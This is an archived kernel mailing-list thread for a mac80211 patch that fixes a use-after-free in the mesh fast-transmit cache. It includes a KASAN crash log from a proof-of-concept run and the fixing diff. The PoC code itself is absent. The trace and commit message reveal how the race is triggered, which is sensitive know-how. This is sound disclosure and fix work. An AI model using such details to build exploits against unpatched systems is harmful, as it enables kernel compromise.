[   25.579486]  ? __pfx___ip_finish_output.part.0 (net/ipv4/ip_output.c:595)
[   25.579489]  ? do_csum (lib/checksum.c:64)
[   25.579492]  ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:314 net/ipv4/ip_output.c:437)
[   25.579494]  ? __pfx_ip_output (net/ipv4/ip_output.c:278)
[   25.579497]  ? ip_make_skb (net/ipv4/ip_output.c:1584)
[   25.579500]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   25.579503]  ? __pfx_ip_make_skb (net/ipv4/ip_output.c:1550)
[   25.579506]  ip_send_skb (include/net/dst.h:470 (discriminator 6) net/ipv4/ip_output.c:131 (discriminator 6) net/ipv4/ip_output.c:1510 (discriminator 6))
[   25.579509]  udp_send_skb (net/ipv4/udp.c:1174 (discriminator 1))
[   25.579512]  udp_sendmsg (net/ipv4/udp.c:1456)
[   25.579515]  ? __css_rstat_updated (include/linux/llist.h:100 (discriminator 2) kernel/cgroup/rstat.c:97 (discriminator 2))
[   25.579528]  ? __pfx_udp_sendmsg (net/ipv4/udp.c:1234)
[   25.579530]  ? __pfx___css_rstat_updated (include/linux/srcutree.h:319 (discriminator 58))
[   25.579534]  ? __update_load_avg_cfs_rq (kernel/sched/pelt.c:186 kernel/sched/pelt.c:323)
[   25.579537]  ? __cgroup_account_cputime (kernel/cgroup/rstat.c:626 (discriminator 10) kernel/cgroup/rstat.c:637 (discriminator 10))
[   25.579540]  ? __resched_curr (kernel/sched/core.c:1210)
[   25.579544]  ? vruntime_eligible (kernel/sched/fair.c:585 (discriminator 1) kernel/sched/fair.c:931 (discriminator 1))
[   25.579547]  ? pick_eevdf (kernel/sched/fair.c:969 kernel/sched/fair.c:1208)
[   25.579550]  ? clockevents_program_event (kernel/time/clockevents.c:373)
[   25.579554]  ? _raw_spin_lock_irq (kernel/locking/spinlock.c:188)
[   25.579556]  ? inet_send_prepare (net/ipv4/af_inet.c:849 (discriminator 1))
[   25.579559]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   25.579562]  ? __pfx___sys_sendto (net/socket.c:2235)
[   25.579566]  ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1499 arch/x86/kernel/fpu/xstate.c:1543)
[   25.579570]  __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[   25.579573]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   25.579577]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   25.579580] RIP: 0033:0x7fadff863494
[   25.579582] Code: 89 4c 24 1c e8 8d f8 ff ff 44 8b 54 24 1c 8b 3c 24 45 31 c9 89 c5 48 8b 54 24 10 48 8b 74 24 08 45 31 c0 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 34 89 ef 48 89 04 24 e8 b9 f8 ff ff 48 8b 04
All code
========
   0:	89 4c 24 1c          	mov    %ecx,0x1c(%rsp)
   4:	e8 8d f8 ff ff       	call   0xfffffffffffff896
   9:	44 8b 54 24 1c       	mov    0x1c(%rsp),%r10d
   e:	8b 3c 24             	mov    (%rsp),%edi
  11:	45 31 c9             	xor    %r9d,%r9d
  14:	89 c5                	mov    %eax,%ebp
  16:	48 8b 54 24 10       	mov    0x10(%rsp),%rdx
  1b:	48 8b 74 24 08       	mov    0x8(%rsp),%rsi
  20:	45 31 c0             	xor    %r8d,%r8d
  23:	b8 2c 00 00 00       	mov    $0x2c,%eax
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 34                	ja     0x66
  32:	89 ef                	mov    %ebp,%edi
  34:	48 89 04 24          	mov    %rax,(%rsp)
  38:	e8 b9 f8 ff ff       	call   0xfffffffffffff8f6
  3d:	48                   	rex.W
  3e:	8b                   	.byte 0x8b
  3f:	04                   	.byte 0x4

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 34                	ja     0x3c
   8:	89 ef                	mov    %ebp,%edi
   a:	48 89 04 24          	mov    %rax,(%rsp)
   e:	e8 b9 f8 ff ff       	call   0xfffffffffffff8cc
  13:	48                   	rex.W
  14:	8b                   	.byte 0x8b
  15:	04                   	.byte 0x4
[   25.579585] RSP: 002b:00007fadfee78e90 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[   25.579588] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fadff863494
[   25.579590] RDX: 0000000000000100 RSI: 00007fadf8000b60 RDI: 0000000000000004
[   25.579592] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[   25.579594] R10: 0000000000004000 R11: 0000000000000246 R12: 00007fadf8000b60
[   25.579595] R13: 0000000000000100 R14: 00007fadfee78fc0 R15: 0000000000802000
[   25.579598]  </TASK>
[   25.579599]
[   25.579600] Allocated by task 523:
[   25.579602]  kasan_save_stack (mm/kasan/common.c:57)
[   25.579605]  kasan_save_track (mm/kasan/common.c:78)
[   25.579608]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[   25.579611]  __kmalloc_cache_noprof (include/linux/kasan.h:263 mm/slub.c:5563)
[   25.579613]  mesh_path_new.constprop.0 (include/linux/slab.h:991 include/linux/slab.h:1312 net/mac80211/mesh_pathtbl.c:408)
[   25.579616]  mesh_path_add (net/mac80211/mesh_pathtbl.c:696)
[   25.579618]  ieee80211_add_mpath (net/mac80211/cfg.c:2911)
[   25.579621]  nl80211_new_mpath (net/wireless/rdev-ops.h:255 net/wireless/nl80211.c:9949)
[   25.579624]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[   25.579627]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   25.579630]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   25.579632]  genl_rcv (net/netlink/genetlink.c:1218)
[   25.579634]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   25.579636]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   25.579638]  ____sys_sendmsg (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2713 (discriminator 1))
[   25.579640]  ___sys_sendmsg (net/socket.c:2767)
[   25.579643]  __sys_sendmsg (net/socket.c:2799)
[   25.579645]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   25.579648]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   25.579650]
[   25.579651] Freed by task 41:
[   25.579652]  kasan_save_stack (mm/kasan/common.c:57)
[   25.579655]  kasan_save_track (mm/kasan/common.c:78)
[   25.579657]  kasan_save_free_info (mm/kasan/generic.c:584)
[   25.579660]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[   25.579662]  kmem_cache_free_bulk (include/linux/kasan.h:235 mm/slub.c:2748 mm/slub.c:2777 mm/slub.c:6533 mm/slub.c:7248 mm/slub.c:7227)
[   25.579665]  kvfree_rcu_bulk (include/linux/slab.h:913 mm/slab_common.c:1574)
[   25.579667]  kfree_rcu_work (mm/slab_common.c:1652)
[   25.579669]  process_one_work (kernel/workqueue.c:3396)
[   25.579672]  worker_thread (kernel/workqueue.c:3479 kernel/workqueue.c:3560)
[   25.579675]  kthread (kernel/kthread.c:436)
[   25.579677]  ret_from_fork (arch/x86/kernel/process.c:158)
[   25.579679]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   25.579682]
[   25.579682] Last potentially related work creation:
[   25.579683]  kasan_save_stack (mm/kasan/common.c:57)
[   25.579686]  kasan_record_aux_stack (mm/kasan/generic.c:556)
[   25.579688]  kvfree_call_rcu (mm/slab_common.c:2050)
[   25.579690]  mesh_path_del (net/mac80211/mesh_pathtbl.c:910 net/mac80211/mesh_pathtbl.c:931)
[   25.579693]  nl80211_del_mpath (net/wireless/rdev-ops.h:265 net/wireless/nl80211.c:9967)
[   25.579695]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[   25.579698]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   25.579700]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   25.579702]  genl_rcv (net/netlink/genetlink.c:1218)
[   25.579704]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   25.579706]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   25.579708]  ____sys_sendmsg (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2713 (discriminator 1))
[   25.579710]  ___sys_sendmsg (net/socket.c:2767)
[   25.579713]  __sys_sendmsg (net/socket.c:2799)
[   25.579715]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   25.579718]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   25.579720]
[   25.579721] The buggy address belongs to the object at ffff888012d85300
[   25.579721]  which belongs to the cache kmalloc-256 of size 256
[   25.579723] The buggy address is located 184 bytes inside of
[   25.579723]  freed 256-byte region [ffff888012d85300, ffff888012d85400)
[   25.579726]
[   25.579726] The buggy address belongs to the physical page:
[   25.579728] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888012d87d00 pfn:0x12d84
[   25.579731] head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   25.579733] flags: 0x100000000000240(workingset|head|node=0|zone=1)
[   25.579736] page_type: f5(slab)
[   25.579739] raw: 0100000000000240 ffff888001042dc0 ffffea0000581710 ffffea00000c5e10
[   25.579741] raw: ffff888012d87d00 0000000000150008 00000000f5000000 0000000000000000
[   25.579744] head: 0100000000000240 ffff888001042dc0 ffffea0000581710 ffffea00000c5e10
[   25.579746] head: ffff888012d87d00 0000000000150008 00000000f5000000 0000000000000000
[   25.579748] head: 0100000000000002 ffffffffffffff01 00000000ffffffff 00000000ffffffff
[   25.579750] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   25.579752] page dumped because: kasan: bad access detected
[   25.579753]
[   25.579753] Memory state around the buggy address:
[   25.579755]  ffff888012d85280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   25.579756]  ffff888012d85300: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   25.579758] >ffff888012d85380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   25.579759]                                         ^
[   25.579761]  ffff888012d85400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   25.579762]  ffff888012d85480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   25.579764] ==================================================================
[   25.579797] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   25.665870] CPU: 1 UID: 0 PID: 520 Comm: poc Not tainted 7.3.0-rc1-00240-g641d03105cc0 #2 PREEMPT(lazy)
[   25.666900] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   25.668023] Call Trace:
[   25.668285]  <TASK>
[   25.668516]  vpanic (kernel/panic.c:651)
[   25.668864]  ? __pfx_vpanic (kernel/panic.c:362)
[   25.669252]  ? __hrtimer_rearm_deferred (kernel/time/hrtimer.c:710 kernel/time/hrtimer.c:2169 kernel/time/hrtimer.c:2189)
[   25.669774]  ? _raw_spin_unlock (include/asm-generic/qspinlock.h:129 (discriminator 4) include/asm-generic/qspinlock.h:160 (discriminator 4) include/linux/spinlock.h:206 (discriminator 4) include/linux/spinlock_api_smp.h:200 (discriminator 4) kernel/locking/spinlock.c:213 (discriminator 4))
[   25.670190]  ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.670833]  panic (kernel/panic.c:788)
[   25.671178]  ? __pfx_panic (kernel/panic.c:638)
[   25.671563]  ? _raw_spin_unlock_irqrestore (include/asm-generic/qspinlock.h:129 (discriminator 4) include/asm-generic/qspinlock.h:160 (discriminator 4) include/linux/spinlock.h:206 (discriminator 4) include/linux/spinlock_api_smp.h:209 (discriminator 4) kernel/locking/spinlock.c:221 (discriminator 4))
[   25.672086]  check_panic_on_warn (kernel/panic.c:525 kernel/panic.c:520)
[   25.672615]  end_report (mm/kasan/report.c:227)
[   25.672995]  kasan_report (mm/kasan/report.c:597)
[   25.673363]  ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.673794]  mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.674201]  ? __pfx_mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:400)
[   25.674665]  ? filter_irq_stacks (kernel/stacktrace.c:397)
[   25.675254]  ? stack_depot_save_flags (lib/stackdepot.c:667)
[   25.675734]  ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:779)
[   25.676220]  ? kasan_save_stack (mm/kasan/common.c:58)
[   25.676659]  ? kasan_save_stack (mm/kasan/common.c:57)
[   25.677090]  ? kasan_save_track (mm/kasan/common.c:78)
[   25.677499]  ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[   25.677920]  ? check_object (mm/slub.c:1428 mm/slub.c:1551)
[   25.678304]  ? __pfx_ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:699)
[   25.678821]  ? sock_alloc_send_pskb (net/core/sock.c:3015)
[   25.679379]  ? ip_make_skb (net/ipv4/ip_output.c:1576)
[   25.679756]  ? udp_sendmsg (net/ipv4/udp.c:1451)
[   25.680146]  ? __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   25.680530]  ? __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[   25.680953]  ? do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   25.681353]  ? entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   25.682034]  __ieee80211_subif_start_xmit (net/mac80211/tx.c:4391)
[   25.682550]  ? __pfx___ieee80211_subif_start_xmit (net/mac80211/tx.c:3447)
[   25.683352]  ? skb_network_protocol (include/linux/skbuff.h:2534 include/linux/skbuff.h:2867 include/linux/skbuff.h:2882 include/linux/if_vlan.h:672 net/core/dev.c:3727)
[   25.683814]  ieee80211_subif_start_xmit (net/mac80211/tx.c:4633 (discriminator 1))
[   25.684319]  ? __pfx_ieee80211_subif_start_xmit (net/mac80211/tx.c:4448)
[   25.684895]  ? kasan_save_track (mm/kasan/common.c:78)
[   25.685327]  ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[   25.685767]  dev_hard_start_xmit (include/linux/netdevice.h:5429 include/linux/netdevice.h:5438 net/core/dev.c:3937 net/core/dev.c:3953)
[   25.686368]  __dev_queue_xmit (net/core/dev.c:4926)
[   25.686814]  ? csum_partial (lib/checksum.c:119)
[   25.687206]  ? __pfx___dev_queue_xmit (include/linux/netdevice.h:4067 (discriminator 1))
[   25.687754]  ? wakeup_preempt_fair (kernel/sched/fair.c:1149 (discriminator 1) kernel/sched/fair.c:1154 (discriminator 1) kernel/sched/fair.c:10038 (discriminator 1))
[   25.688230]  ? __pfx_csum_and_copy_from_iter_full (net/core/skbuff.c:6250 (discriminator 1))
[   25.688836]  ? sock_alloc_send_pskb (net/core/sock.c:3018)
[   25.689314]  ? _raw_spin_unlock (include/asm-generic/qspinlock.h:129 (discriminator 4) include/asm-generic/qspinlock.h:160 (discriminator 4) include/linux/spinlock.h:206 (discriminator 4) include/linux/spinlock_api_smp.h:200 (discriminator 4) kernel/locking/spinlock.c:213 (discriminator 4))
[   25.689729]  ? ip_generic_getfrag (net/ipv4/ip_output.c:947)
[   25.690244]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   25.690738]  ip_finish_output2 (include/linux/netdevice.h:3461 include/net/neighbour.h:544 include/net/neighbour.h:558 net/ipv4/ip_output.c:236)
[   25.691165]  ? __ip_append_data (include/linux/skbuff.h:2333 (discriminator 2) include/linux/skbuff.h:2438 (discriminator 2) include/linux/skbuff.h:2471 (discriminator 2) net/ipv4/ip_output.c:1206 (discriminator 2))
[   25.691669]  ? __pfx_ip_finish_output2 (net/ipv4/ip_output.c:614)
[   25.692145]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   25.692618]  __ip_finish_output.part.0 (net/ipv4/ip_output.c:314)
[   25.693113]  ? __pfx___ip_finish_output.part.0 (net/ipv4/ip_output.c:595)
[   25.693685]  ? do_csum (lib/checksum.c:64)
[   25.694032]  ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:314 net/ipv4/ip_output.c:437)
[   25.694386]  ? __pfx_ip_output (net/ipv4/ip_output.c:278)
[   25.694785]  ? ip_make_skb (net/ipv4/ip_output.c:1584)
[   25.695169]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   25.695683]  ? __pfx_ip_make_skb (net/ipv4/ip_output.c:1550)
[   25.696116]  ip_send_skb (include/net/dst.h:470 (discriminator 6) net/ipv4/ip_output.c:131 (discriminator 6) net/ipv4/ip_output.c:1510 (discriminator 6))
[   25.696493]  udp_send_skb (net/ipv4/udp.c:1174 (discriminator 1))
[   25.696893]  udp_sendmsg (net/ipv4/udp.c:1456)
[   25.697300]  ? __css_rstat_updated (include/linux/llist.h:100 (discriminator 2) kernel/cgroup/rstat.c:97 (discriminator 2))
[   25.697740]  ? __pfx_udp_sendmsg (net/ipv4/udp.c:1234)
[   25.698150]  ? __pfx___css_rstat_updated (include/linux/srcutree.h:319 (discriminator 58))
[   25.698618]  ? __update_load_avg_cfs_rq (kernel/sched/pelt.c:186 kernel/sched/pelt.c:323)
[   25.699115]  ? __cgroup_account_cputime (kernel/cgroup/rstat.c:626 (discriminator 10) kernel/cgroup/rstat.c:637 (discriminator 10))
[   25.699568]  ? __resched_curr (kernel/sched/core.c:1210)
[   25.699955]  ? vruntime_eligible (kernel/sched/fair.c:585 (discriminator 1) kernel/sched/fair.c:931 (discriminator 1))
[   25.700380]  ? pick_eevdf (kernel/sched/fair.c:969 kernel/sched/fair.c:1208)
[   25.700768]  ? clockevents_program_event (kernel/time/clockevents.c:373)
[   25.701488]  ? _raw_spin_lock_irq (kernel/locking/spinlock.c:188)
[   25.701925]  ? inet_send_prepare (net/ipv4/af_inet.c:849 (discriminator 1))
[   25.702370]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   25.702757]  ? __pfx___sys_sendto (net/socket.c:2235)
[   25.703190]  ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1499 arch/x86/kernel/fpu/xstate.c:1543)
[   25.703618]  __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[   25.705764]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   25.706594]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   25.707137] RIP: 0033:0x7fadff863494
[   25.707528] Code: 89 4c 24 1c e8 8d f8 ff ff 44 8b 54 24 1c 8b 3c 24 45 31 c9 89 c5 48 8b 54 24 10 48 8b 74 24 08 45 31 c0 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 34 89 ef 48 89 04 24 e8 b9 f8 ff ff 48 8b 04
All code
========
   0:	89 4c 24 1c          	mov    %ecx,0x1c(%rsp)
   4:	e8 8d f8 ff ff       	call   0xfffffffffffff896
   9:	44 8b 54 24 1c       	mov    0x1c(%rsp),%r10d
   e:	8b 3c 24             	mov    (%rsp),%edi
  11:	45 31 c9             	xor    %r9d,%r9d
  14:	89 c5                	mov    %eax,%ebp
  16:	48 8b 54 24 10       	mov    0x10(%rsp),%rdx
  1b:	48 8b 74 24 08       	mov    0x8(%rsp),%rsi
  20:	45 31 c0             	xor    %r8d,%r8d
  23:	b8 2c 00 00 00       	mov    $0x2c,%eax
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 34                	ja     0x66
  32:	89 ef                	mov    %ebp,%edi
  34:	48 89 04 24          	mov    %rax,(%rsp)
  38:	e8 b9 f8 ff ff       	call   0xfffffffffffff8f6
  3d:	48                   	rex.W
  3e:	8b                   	.byte 0x8b
  3f:	04                   	.byte 0x4

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 34                	ja     0x3c
   8:	89 ef                	mov    %ebp,%edi
   a:	48 89 04 24          	mov    %rax,(%rsp)
   e:	e8 b9 f8 ff ff       	call   0xfffffffffffff8cc
  13:	48                   	rex.W
  14:	8b                   	.byte 0x8b
  15:	04                   	.byte 0x4
[   25.709744] RSP: 002b:00007fadfee78e90 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[   25.710476] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fadff863494
[   25.711213] RDX: 0000000000000100 RSI: 00007fadf8000b60 RDI: 0000000000000004
[   25.711877] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[   25.712657] R10: 0000000000004000 R11: 0000000000000246 R12: 00007fadf8000b60
[   25.713345] R13: 0000000000000100 R14: 00007fadfee78fc0 R15: 0000000000802000
[   25.714013]  </TASK>
[   25.715206] Kernel Offset: 0x2b800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[   25.716200] ---[ end Kernel panic - not syncing: KASAN: panic_on_warn set ... ]---
-----END crash log-----

Best regards,
Zihan Xi

changes in v2:
  - Rewrite the commit message.
  - v1 Link: https://lore.kernel.org/all/94174303640c5e1022b31836770bad75f741afbf.1788845030.git.zihanx@nebusec.ai/

Zihan Xi (1):
  wifi: mac80211: fix mesh fast xmit path deletion UAF

 net/mac80211/mesh_pathtbl.c | 9 +++++++++
 1 file changed, 9 insertions(+)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH wireless v2 1/1] wifi: mac80211: fix mesh fast xmit path deletion UAF
  2026-09-09  6:00 [PATCH wireless v2 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF Zihan Xi
@ 2026-09-09  6:00 ` Zihan Xi
  0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-09-09  6:00 UTC (permalink / raw)
  To: linux-wireless
  Cc: Johannes Berg, Felix Fietkau, Ryder Lee, linux-kernel, Zihan Xi,
	stable, Vega, Luxing Yin

mesh_fast_tx_cache() stores raw mesh_path pointers. Path deletion
flushes the cache and then frees the path with kfree_rcu(), but a
lookup that already holds the path can insert a new cache entry
after the flush. The cache then points at freed memory.

Set MESH_PATH_DELETED before flushing, and skip inserting a cache
entry if the path or MPP path is already deleted. Check this under
the cache walk lock so it is ordered with the flush.

Fixes: d5edb9ae8d56 ("wifi: mac80211: mesh fast xmit support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
  - Rewrite the commit message.
  - v1 Link: https://lore.kernel.org/all/94174303640c5e1022b31836770bad75f741afbf.1788845030.git.zihanx@nebusec.ai/

 net/mac80211/mesh_pathtbl.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/net/mac80211/mesh_pathtbl.c b/net/mac80211/mesh_pathtbl.c
index 03171cf008557..dfcc4f3a7088e 100644
--- a/net/mac80211/mesh_pathtbl.c
+++ b/net/mac80211/mesh_pathtbl.c
@@ -577,6 +577,12 @@ void mesh_fast_tx_cache(struct ieee80211_sub_if_data *sdata,
 		goto unlock_sta;
 
 	spin_lock(&cache->walk_lock);
+	if ((READ_ONCE(mpath->flags) & MESH_PATH_DELETED) ||
+	    (mppath && (READ_ONCE(mppath->flags) & MESH_PATH_DELETED))) {
+		kfree(entry);
+		goto unlock_cache;
+	}
+
 	prev = rhashtable_lookup_get_insert_fast(&cache->rht,
 						 &entry->rhash,
 						 fast_tx_rht_params);
@@ -812,6 +818,9 @@ static void __mesh_path_del(struct mesh_table *tbl, struct mesh_path *mpath)
 {
 	hlist_del_rcu(&mpath->walk_list);
 	rhashtable_remove_fast(&tbl->rhead, &mpath->rhash, mesh_rht_params);
+	spin_lock_bh(&mpath->state_lock);
+	mpath->flags |= MESH_PATH_DELETED;
+	spin_unlock_bh(&mpath->state_lock);
 	if (tbl == &mpath->sdata->u.mesh.mpp_paths)
 		mesh_fast_tx_flush_addr(mpath->sdata, mpath->dst);
 	else
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-09-09  6:01 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-09  6:00 [PATCH wireless v2 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF Zihan Xi
2026-09-09  6:00 ` [PATCH wireless v2 1/1] " Zihan Xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox